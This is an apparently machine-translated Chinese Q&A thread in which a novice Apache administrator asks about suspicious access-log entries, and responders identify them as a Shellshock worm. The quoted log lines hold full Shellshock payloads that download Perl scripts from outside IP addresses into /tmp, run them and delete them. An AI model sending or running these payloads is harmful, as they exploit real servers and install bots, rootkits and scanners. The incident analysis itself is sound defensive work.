我新手到networking编程,所以我设置了一个Apache2服务器为我的做法。
似乎有人成功地破解我的Apache服务器。 我有我的access.log中注意到以下行:
81.169.174.52 - - [22/Jan/2015:17:24:39 +0200] "GET /cgi-bin/contact.cgi HTTP/1.1" 200 1531 "-" "() { :;};/usr/ bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\");'"
也是这一个:
80.92.84.168 - - [22/Jan/2015:18:21:08 +0200] "GET /phppath/cgi_wrapper HTTP/1.0" 200 3360 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESSX\";system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm - rf /tmp/bot.pl\");'"
根据HTTP-200,似乎他们已经成功破解了这个请求。
当我尝试“跟踪”请求中的命令(通过手动执行每个命令):
system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm - rf /tmp/bot.pl\");'"
我可以看到我成功下载了文件“bot.txt”。 当我打开“bot.txt”文件,并看到它的Perl脚本。 我不是一个perl和尚,但我可以看到它的“分叉”每个尝试打开端口到其他服务器的其他进程。 也看到了在我的站里试图search开放端口的代码里面的一个函数。
我的问题:
谢谢
攻击者正在试图利用Bash Shellshock漏洞。 您可以通过几个简单的命令行testing来validation自己是否易受攻击(这本身并不是有害的),这在另一个SF文章中已经介绍过了:
您的日志显示他们返回了200个HTTP状态码,表明Apache为这两个请求提供了无误的服务。 要么contact.cgi或cgi_wrapper失败,我会希望Apache返回一个500(内部服务器错误)状态代码。 这表明这两个脚本至less尝试了Shellshock漏洞利用。
如果你能够确定你的系统上有一个脆弱的Bash版本,那么我认为ou.pl和bot.pl脚本确实可以在你的系统上下载和执行。 鉴于此,您不应该对系统的完整性做出任何假设,因为实际上没有办法知道在初始磨合之后可能做了什么。 你如何处理这个问题是你必须自己决定的,但是在这个问题上有一些很好的build议:
这是一个传统的Shellshock传播蠕虫。
如果易受攻击,请下载一个.txt文件(这是一个下载程序),运行它,下载一个.tar文件,解压缩它,运行一个rootkit和一个扫描程序的内部二进制文件。
这里快速研究一下这个行为: 什么是真正的shellshock攻击看起来像
麦克风。